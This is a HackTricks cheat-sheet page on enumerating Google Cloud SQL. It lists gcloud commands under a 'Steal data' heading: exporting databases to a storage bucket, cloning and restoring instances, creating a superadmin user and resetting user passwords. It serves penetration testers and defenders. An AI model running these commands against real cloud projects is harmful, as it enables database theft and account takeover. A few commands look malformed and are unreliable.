Skip to content

Latest commit

 

History

History
57 lines (42 loc) · 3.36 KB

File metadata and controls

57 lines (42 loc) · 3.36 KB

GCP - SQL Enum

Support HackTricks and get benefits!

Cloud SQL instances are fully managed, relational MySQL, PostgreSQL and SQL Server databases. Google handles replication, patch management and database management to ensure availability and performance. Learn more.

If you find any of these instances in use with public IP, you could try to access them from the internet as they might be miss-configured and accessible.

# Cloud SQL
gcloud sql instances list
gcloud sql databases list -i <INSTANCE>
gcloud sql databases describe -i <INSTANCE> <DB>
gcloud sql backups list -i <INSTANCE>
gcloud sql backups describe -i <INSTANCE> <DB>

# Steal data
## Export
gcloud sql export sql <DATABASE_INSTANCE> gs://<CLOUD_STORAGE_BUCKET>/cloudsql/export.sql.gz --database <DATABASE_NAME>
## Clone
gcloud instances clone <SOURCE> <DESTINATION>
## Backup
gcloud sql backups restore BACKUP_ID --restore-instance <RESTORE_INSTANCE>
gcloud sql instances clone restore-backup <SOURCE> <DESTINATION>
## Users abuse
gcloud sql users list -i <INSTANCE>
gcloud sql users create SUPERADMIN -i <INSTANCE>
gcloud sql users set-password <USERNAME> -i <INSTANCE> --password <PWD>

Exfiltrate DB data

As an example, you can follow Google's documentation to exfiltrate a Cloud SQL database.

Support HackTricks and get benefits!